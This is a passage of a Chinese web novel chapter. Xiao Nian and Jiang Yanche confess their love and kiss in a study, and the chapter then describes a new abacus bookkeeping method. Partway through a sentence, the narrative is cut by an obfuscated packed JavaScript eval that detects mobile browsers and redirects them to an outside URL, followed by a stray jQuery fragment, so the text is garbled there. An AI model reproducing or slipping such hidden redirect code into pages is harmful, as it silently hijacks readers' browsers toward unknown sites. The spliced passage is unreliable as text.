“小姐把我当什么？”江砚澄逼近一步，又问了一遍，他今天，无论如何也要得到答案。
不管是给阿砚的，还是给江砚澄的。
“我……”萧念下意识后退，急忙解释，“阿砚，我刚刚不是故意的，我只是想知道你有没有长肉……如果你不喜欢，我下次再也不会这样了！”
她举起手，发誓道：“真的，我再也不乱来了，你别生气，我给你买好吃的行不行？”
江砚澄又好气又好笑，萧念的哄人话术永远只有一句，“给你买好吃的。”
可他什么山珍海味没吃过？
“我不要这个。”他摇头，双目紧盯着萧念，眼中雾蒙蒙的，好似下一瞬，便要泪雨连珠。
萧念眼含愧疚，她真的不是故意的，为什么江砚澄今天情绪这么激动？难不成是信潮到了？不对啊，她没闻到那味儿。
脑中极速转过八百个弯，却只是木讷的一句，“那你想要什么……”
“唔——”
猝不及防的柔软贴住唇瓣，萧念双目微睁，清晰地看见一行清泪从江砚澄眼角滑落。
江砚澄捧着她的脸，眉心拧在一起，可唇上的动作却十分轻柔，和前世的每一次接触一样。
残阳照进屋内，空中漂浮的尘埃似乎都凝固了，萧念听见自己的心跳声快要冲破耳膜。这个吻，短暂缱绻，柔情肆意，可又如蜻蜓点水，在水面轻触几下后迅速离开了。
江砚澄再次睁开眼时，睫毛上都带着层湿意，看着萧念呆愣的模样后，登时懊悔起来，本来继续装着，就算难熬也能熬下去，这下冲动上头，打破了边界，不是生就是死了。
萧念会怎么做？接纳他？还是嫌弃他？
脚步不自觉后退两步，脱口而出，“对不起，我……”或许道歉还来得及。
“对不起什么？”萧念忽然开口，伸手拦住他要逃跑的去路，一把拉进怀里，“亲完就想走？你也太不负责了。”
“？”江砚澄没料到是这个套路，抬起头的瞬间，下巴就被锁住，绵密温热的吻落了下来，激得他浑身一颤，险些站不住，双手牢牢勾着萧念的脖子才没有掉下去。
萧念一手托住他的后背，一手扶住他的后脑，指尖若有似无地划过他的耳后，阵阵酥麻的电流窜遍全身，江砚澄抵抗不住，偏了偏头。眼尾的红晕更甚，可却不是因为哭，他推了推萧念，“别这样……”
别这样？那换一个？
萧念胸膛起伏着，头一次意识到，原来弯腰亲也很累人，手掌下滑，扶住江砚澄的腰，二话不说将人抱上书案。
江砚澄突然身体腾空，脑子还没反应过来，熟悉的熏香再次贴近，将他整个人包裹住，二人之间的空间骤缩，直到最后一抹空气也消散不见，灼热的呼吸在脸上萦绕，绵软细密的吻不停地将他的意识拉入深渊。
萧念吻得很轻，越到后面，却逐渐加重起来，一点一点蚕食他的意志，攻破最后一道心防，奇异的感觉自四面八方而来，逐渐袭遍全身，江砚澄控制不住地向后躲了躲，手撑在书案上，指尖沾了墨水，划出道道痕迹。
“萧念……”江砚澄下意识轻喊出声，他想叫她慢一点，停一下，这具身体实在是不受他控制。
萧念却像是没听到，他退一步，她便进一步，不给他任何逃离的机会，唇瓣蹭着耳垂摩挲，呢喃道：“阿砚……想知道我把你当什么吗？”
“……什么？”江砚澄已无力听她说什么了，只凭意志维持住身体不倒下，这是他最后的尊严。
在书房搞这些？太羞耻了……
萧念含住他红艳欲滴的耳垂，轻轻吮吸，濡湿的声音传进江砚澄耳朵里，手指猛地攥紧，萧念肩头的衣衫快要被他抓烂了。
萧念轻笑一声，魅惑的声音抓挠人心，“我把你……当知心人啊……不是早就和你说过了，你还不明白吗？”
江砚澄迷蒙的眼眸清明了几分，原来……原来萧念早就告诉过他了。他还一直以为萧念在戏耍他。
那他这么长时间以来的纠结算什么？
“萧念。”江砚澄坐直身体，捧起萧念的脸，她的脸灼热而滚烫，似乎要顺着掌心烧穿他的心。
他直视着她的眼睛，认真问道：“你、你喜欢我吗？”
萧念视线在他脸上扫视一圈，最后定在被亲得发红的唇上，低头凑近一分，却被江砚澄挡住了，“不说就不让亲。”
“喜欢。”萧念嘴唇动了动，在江砚澄的掌心摩挲出阵阵痒意，他连忙抽了手，没了阻碍，萧念欺身上前。
“小姐，吃饭了。”羽衣瞧着天色已经快黑了，书房竟然没点烛火，奇怪地准备进去一看究竟，谁知门刚开一条缝，一道冷冽的声音传来，“滚出去！”
“！！！”羽衣紧急撤回一个动作，把门关好后飞速跑了。
小姐今天不高兴，别惹她！
江砚澄被这动静打断，汹涌的情绪冷静了几分，伸手推开萧念，却推不动，“小姐，该吃饭了。”
“我知道。”萧念捋了捋他鬓边被汗水打湿的碎发，抵着他的额头问：“是不是说喜欢就能亲亲了？”
江砚澄愣了愣，神情闪烁，后颈被温热的手掌牢牢握住，昏暗的书房内响起他低低的一声“嗯”。
话音未落，铺天盖地的吻再次落了下来，三年的相处经验，萧念的吻技十分娴熟，甚至还用起了他曾经对她的方式。
江砚澄心道：今晚这饭是吃不成了。
意识恍惚间，他听见萧念又轻又柔地说了一句，“阿砚，我喜欢你。”
喜欢……阿砚么？
江砚澄在黑暗中睁开眼，燥热的心彻底凉了下去，一阵寂静过后，又生出一小撮火焰。
好歹是喜欢的，总比没有好。
*
时光荏苒，转眼两个月过去，萧念每日读书写字，空闲的时候就和江砚澄研究算账记账。经过几个月的学习，伴读们已经开始上珠算课了。
但才上了几天，几乎是叫苦连天。
于是乎，萧念就拉着江砚澄一起琢磨出了一套“易数珠算法”，这个方法保留传统珠算的核心计算方式，将繁复费时的纯汉字书写，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076143|191062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
改用阿拉伯数字记录，实现快速、高效的记录模式。
萧念翻着写得满满当当的薄册，笑道：“如果这个法子能够推行下去，在记账这方面就轻松了很多，你们学习的阻碍也会小很多了。”
江砚澄怔了怔，萧念费半天劲想出这个法子，是为了让他们学得轻松？
想起这些时日，萧念白日学习，晚上研究，书房的烛火总是点到深夜，不由得心里也暖了暖。
萧念她似乎事事都为他考虑着。而他却在萧念需要的时候，一直推拒……
“想什么呢？”萧念指尖轻点江砚澄的额头，看着他呆愣的模样觉得好笑。
自从上次袒露心意后，两人之间的距离近了很多，但不知是碍于身份还是别的什么，江砚澄依旧会像之前一样，刻意地和她保持着距离。
还立下了三条铁律，在外不许牵手、不许抱抱、更不许亲亲！
这个地下恋谈得也太累了～果然她还是得赶紧努力，尽快给他一个名分才行。
江砚澄抬手摸了摸被她戳过的地方，眼眸微弯，“小姐说的很对，谢谢小姐。”
萧念盯着他的眼睛，嘴角勾起不怀好意的笑，凑近低声道：“光说谢谢可不行，我要点实际的。”
何为实际？江砚澄作为一个男人，他还能不知道吗？萧念这是在明晃晃地暗示他。
江砚澄瞅了眼书房紧闭的门，确认暂时不会有人过来后，转过头乖乖闭上了眼。
来吧！
萧念见他一副视死如归的乖顺模样，惊讶的同时又忍不住笑出了声，扶着书案的手都在抖。
什么时候见过江砚澄这样主动就范？这还是第一次，简直打破她的常规认知，新奇又好笑。
“？”江砚澄疑惑地睁开眼，下意识地摸了摸脸，“小姐在笑什么？我脸上有脏东西？”
心里却在嘀咕：萧念是不是亲腻了？前段时间可是找着机会就把他堵在墙角了，任他怎么抗拒都没用，现在他自己送到眼前了，她竟然在笑？
萧念笑够了，摆了摆手，忍不住调侃起来：“我只是好奇，阿砚之前不是总有百般理由拒绝的吗？怎的如今变了？”
摆烂了？不装了？开始投怀送抱了？
江砚澄：“……”不可置信地看了萧念好几眼，脸色不知是羞得发红，还是被气得发黑，来回变换了好一阵，终于明白，原来萧念还真的是喜欢欲拒还迎，矫揉造作的男人！
他不拒绝她还不满意了？
想让他做那种男人，使手段勾引她？抱歉，他做不到！是他不配，是他无能！是他看走眼了！
江砚澄努力了半天扯出一个笑来，轻飘飘道：“小姐既然不想要，那以后也别想要了。”
话落，他转身快步离去，连个影子都没留给萧念。
“哎？”萧念茫然的愣在原地，“怎么走了？我就问问，问问也不行吗？”
果然是臭脾气，两世过来一点都没改。
望着他离去的方向，萧念自顾自摸了摸嘴唇，喃喃道：“不让亲？”
她不信。